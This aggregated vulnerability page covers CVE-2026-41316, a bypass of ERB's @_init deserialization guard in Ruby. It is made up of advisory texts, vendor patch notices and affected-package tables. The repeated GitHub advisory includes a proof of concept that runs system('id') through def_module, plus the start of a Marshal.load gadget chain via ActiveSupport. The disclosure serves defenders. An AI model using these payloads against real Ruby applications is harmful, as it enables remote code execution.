Every CVE Search/ Get API key

CVE-2026-41316

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 HighFix available

ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

1.13%Up 1.0 points since Apr 24, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.1

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.

Record
CVE-2026-41316
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-693, CWE-502
Updated
2026-11-02
EUVDEUVD-2026-25385 8.1

ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.

Record
EUVD-2026-25385
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-q339-8rmv-2mhv 8.1

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

  • ERB#def_method
  • ERB#def_module
  • ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

<details>

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def…
Record
GHSA-q339-8rmv-2mhv
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-693
Updated
2026-11-02
NVD 8.1

ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.

Record
CVE-2026-41316
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-693, CWE-502
Updated
2026-11-02
OSVALPINE-CVE-2026-41316 8.1

ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.

Record
ALPINE-CVE-2026-41316
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVBELL-CVE-2026-41316 8.1
Record
BELL-CVE-2026-41316
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
Show 36 moreShow less
OSV 8.1

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.

Record
CVE-2026-41316
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-693
Updated
2026-11-02
OSVDEBIAN-CVE-2026-41316 8.1

ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.

Record
DEBIAN-CVE-2026-41316
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-07
OSVGHSA-q339-8rmv-2mhv 8.1

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

  • ERB#def_method
  • ERB#def_module
  • ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

<details>

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def…
Record
GHSA-q339-8rmv-2mhv
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-693
Updated
2026-11-02
OSVOESA-2026-2263 8.1

ruby security update

Ruby is a fast and easy interpreted scripting language for object-oriented programming. It has many functions for processing text Files and perform system management tasks (such as Perl).

Security Fix(es):

ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.(CVE-2026-41316)

Record
OESA-2026-2263
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:18030 8.1

Red Hat Security Advisory: ruby:3.3 security update

Record
RHSA-2026:18030
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:18039 8.1

Red Hat Security Advisory: ruby security update

Record
RHSA-2026:18039
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:18065 8.1

Red Hat Security Advisory: ruby security update

Record
RHSA-2026:18065
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:20596 9.1

Red Hat Security Advisory: ruby:4.0 security update

Record
RHSA-2026:20596
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:20606 9.1

Red Hat Security Advisory: ruby4.0 security update

Record
RHSA-2026:20606
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Updated
2026-11-02
OSVRHSA-2026:20614 8.1

Red Hat Security Advisory: ruby:3.3 security update

Record
RHSA-2026:20614
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:20670 8.1

Red Hat Security Advisory: ruby security update

Record
RHSA-2026:20670
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:26312 8.1

Red Hat Security Advisory: ruby security update

Record
RHSA-2026:26312
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:26655 8.1

Red Hat Security Advisory: ruby:3.3 security update

Record
RHSA-2026:26655
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:33462 8.1

Red Hat Security Advisory: ruby security update

Record
RHSA-2026:33462
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:33478 8.1

Red Hat Security Advisory: ruby security update

Record
RHSA-2026:33478
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:35834 8.1

Red Hat Security Advisory: ruby security update

Record
RHSA-2026:35834
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:37238 8.1

Red Hat Security Advisory: ruby:3.3 security update

Record
RHSA-2026:37238
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRLSA-2026:18030 8.1

Important: ruby:3.3 security update

Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.

Security Fix(es):

  • erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:18030
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRLSA-2026:18039 8.1

Important: ruby security update

Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.

Security Fix(es):

  • erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:18039
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRLSA-2026:18065 8.1

Important: ruby security update

Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.

Security Fix(es):

  • erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:18065
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRLSA-2026:20596 9.1

Important: ruby:4.0 security update

Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.

Security Fix(es):

  • ruby/json: Ruby JSON: Denial of Service or Information Disclosure via format string injection (CVE-2026-33210)

  • erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:20596
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Updated
2026-11-02
OSVRLSA-2026:20606 9.1

Important: ruby4.0 security update

Ruby is the interpreted scripting language for quick and easy object-oriented programming. It has many features to process text files and to do system management tasks (as in Perl). It is simple, straight-forward, and extensible.

Security Fix(es):

  • ruby/json: Ruby JSON: Denial of Service or Information Disclosure via format string injection (CVE-2026-33210)

  • erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:20606
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Updated
2026-11-02
OSVRLSA-2026:20614 8.1

Important: ruby:3.3 security update

Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.

Security Fix(es):

  • erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:20614
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVROOT-APP-RUBY-CVE-2026-41316 8.1

CVE-2026-41316 in erb - Patched by Root

Root has patched CVE-2026-41316 in the erb package for Root:Ruby. Multiple fixed versions available.

Record
ROOT-APP-RUBY-CVE-2026-41316
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-41316 8.1

ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.

Record
UBUNTU-CVE-2026-41316
CVSS 3.1
8.1 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-06
OSVALSA-2026:18030 No score

Important: ruby:3.3 security update

Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.

Security Fix(es):

  • erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:18030
Updated
2026-11-02
OSVALSA-2026:18039 No score

Important: ruby security update

Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.

Security Fix(es):

  • erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:18039
Updated
2026-11-02
OSVALSA-2026:18065 No score

Important: ruby security update

Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.

Security Fix(es):

  • erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:18065
Updated
2026-11-02
OSVALSA-2026:20596 No score

Important: ruby:4.0 security update

Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.

Security Fix(es):

  • ruby/json: Ruby JSON: Denial of Service or Information Disclosure via format string injection (CVE-2026-33210)
  • erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:20596
Updated
2026-11-02
OSVALSA-2026:20606 No score

Important: ruby4.0 security update

Ruby is the interpreted scripting language for quick and easy object-oriented programming. It has many features to process text files and to do system management tasks (as in Perl). It is simple, straight-forward, and extensible.

Security Fix(es):

  • ruby/json: Ruby JSON: Denial of Service or Information Disclosure via format string injection (CVE-2026-33210)
  • erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:20606
Updated
2026-11-02
OSVALSA-2026:20614 No score

Important: ruby:3.3 security update

Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.

Security Fix(es):

  • erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:20614
Updated
2026-11-02
OSVCLSA-2026-1779745996 No score

ruby: Fix of CVE-2026-41316

  • CVE-2026-41316: prohibit ERB#def_method on marshal-loaded ERB instances by extending the @_init singleton-class guard to def_method (and transitively def_module/def_class), preventing RCE via Marshal.load gadgets
Record
CLSA-2026-1779745996
Updated
2026-11-02
OSVCLSA-2026-1781100836 No score

ruby: Fix of CVE-2026-41316

  • CVE-2026-41316: fix ERB Marshal.load RCE via def_method/def_module/def_class bypassing @_init guard
Record
CLSA-2026-1781100836
Updated
2026-11-02
OSVopenSUSE-SU-2026:10609-1 No score

libruby4_0-4_0-4.0.3-1.1 on GA media

These are all security issues fixed in the libruby4_0-4_0-4.0.3-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:10609-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21878-1 No score

Security update for ruby3.4

This update for ruby3.4 fixes the following issues:

  • CVE-2025-58767: denial of service when parsing XML containing multiple XML declarations (bsc#1250016).
  • CVE-2026-27820: insufficient checks in zstream_buffer_ungets can lead to a buffer overflow (bsc#1259239).
  • CVE-2026-41316: erb: @_init deserialization guard bypass via def_module / def_method / def_class (bsc#1262441).
  • CVE-2026-42258: ruby: Net:IMAP: IMAP Command Injection via Symbol Arguments (bsc#1268011).
  • CVE-2026-47240: Net:IMAP: Command Injection via non-synchronizing literal in "raw" argument (bsc#1268337).
  • CVE-2026-47241: Net:IMAP: Denial of Service via incomplete raw argument validation (bsc#1268338).
  • CVE-2026-47242: Net:IMAP: Command Injection via ID and ENABLE command arguments (bsc#1268339).
  • CVE-2025-61594: rubygem-uri: URI concatenation with the plus operator can cause credential disclosure (bsc#1255833).

Changes for ruby3.4:

  • Update to 3.4.10.

  • Update to 3.4.9:

  • Bug #21715: Miscompilation on x86-64-v2 due to undefined behavior in search_nonascii in string.c - Ruby - Ruby Issue Tracking System

  • Bug #21787: IO::Buffer Integer Overflow in Range Validation Leads to Out-of-Bounds Memory Access - Ruby - Ruby Issue

  • Bug #21757: Splatted args array is mutated when passing unexpected kwargs - Ruby - Ruby Issue Tracking System

  • Bug #21326: Instruction generation differences between parse.y and prism for def a(x, ...); b(...); end - Ruby - Ruby Issue

  • Bug #21814: 0.pow(2,-9999999999999999990) should be zero - Ruby

  • Ruby Issue Tracking System

  • Bug #21819: A Data object should be frozen even if it has no members - Ruby - Ruby Issue Tracking System

  • Bug #21811: Fix underflow in Array#pack - Ruby - Ruby Issue

  • Bug #21838: Rails seeing degradation (20% slowdown) related to Revision 079ef92b "Implement global allocatable slots and empty pages" (from Sep 5 2024) - Ruby - Ruby Issue Tracking System

  • Bug #21931: GC Crash in String#% (backport 726205b354d1068147719fb42e1de743f1838ef1) - Ruby - Ruby Issue

  • Bug #21860: Process.fork: the child may deadlock on th->interrupt_lock in threadptr_interrupt_exec_cleanup - Ruby - Ruby Issue Tracking System

  • Bug #21873: UnboundMethod#== returns false for methods from included/extended modules - Ruby - Ruby Issue Tracking System

  • Update to 3.4.8:

    • Bug #21629: Ruby-3.4.7 prints -Wdefault-const-init-field-unsafe warnings on clang / llvm 21 - Ruby - Ruby Issue Tracking System

  • Bug #21626: Backport WASI setjmp handler memory leak fixes - Ruby - Ruby Issue Tracking System

  • Bug #21631: Backport openssl gem bugfix releases - Ruby - Ruby Issue Tracking System

  • Bug #21632: Backport REXML CVE-2025-58767 fix (bsc#1250016) -

  • Bug #21644: Stack consistency error for the newrange INSN peephole optimization with chilled string - Ruby - Ruby Issue

  • Bug #21668: Improve performance of UnicodeNormalize.canonical_ordering_one - Ruby - Ruby Issue

  • Bug #21638: Ractor-local $DEBUG is not marked - Ruby - Ruby

  • Bug #21652: Marshal#dump documentation out-of-date/unclear regarding Data class - Ruby - Ruby Issue Tracking System

  • Bug #13671: Regexp with lookbehind and case-insensitivity raises RegexpError only on strings with certain characters -

  • Bug #21625: Allow IO#wait_readable together with IO#ungetc even in text mode - Ruby - Ruby Issue Tracking System

  • Bug #21671: Rails CI raises Assertion Failed: rbimpl_rstring_getmem:RB_TYPE_P(str, RUBY_T_STRING): actual type: 26 with "-DENABLE_PATH_CHECK=0 -DRUBY_DEBUG=1" enabled -

  • Update next stable version to 4.0 from 3.5 by hsbt . Pull Request #15146

  • Bug #21679: Segfault when ruby calls pthread_detach in rb_getnameinfo - Ruby - Ruby Issue Tracking System

  • Bug #21694: Crash when looking up super method from BasicObject

  • Ruby - Ruby Issue Tracking System

  • Bug #21707: Destructuring assignment of SimpleDelegator wrapped array bug with YJIT - Ruby - Ruby Issue Tracking System

  • Bug #21265: Crash when proc from…

Record
openSUSE-SU-2026:21878-1
Updated
2026-11-02
OSVSUSE-SU-2026:3556-1 No score

Security update for ruby2.5

This update for ruby2.5 fixes the following issue

  • CVE-2026-41316: erb: @_init deserialization guard bypass via def_module / def_method / def_class (bsc#1262441).
Record
SUSE-SU-2026:3556-1
Updated
2026-11-02

Affected products

Show 1 moreShow less

Affected packages

Affected packages
PackageAffectedFixed
erb
RubyGems
 before 4.0.3.1
4.0.3.1
erb
RubyGems
 4.0.4 to 4.0.4
4.0.4.1
erb
RubyGems
 5.0.0 up to 6.0.1.1
6.0.1.1
erb
RubyGems
 6.0.2 up to 6.0.4
6.0.4
ruby
Alpine:v3.21
 before 3.3.13-r0
3.3.13-r0
ruby
AlmaLinux:9
 before 3.3.10-6.module_el9.7.0+245+447713a2
3.3.10-6.module_el9.7.0+245+447713a2
ruby-bundled-gems
AlmaLinux:9
 before 3.3.10-6.module_el9.7.0+245+447713a2
3.3.10-6.module_el9.7.0+245+447713a2
ruby-default-gems
AlmaLinux:9
 before 3.3.10-6.module_el9.7.0+245+447713a2
3.3.10-6.module_el9.7.0+245+447713a2
ruby-devel
AlmaLinux:9
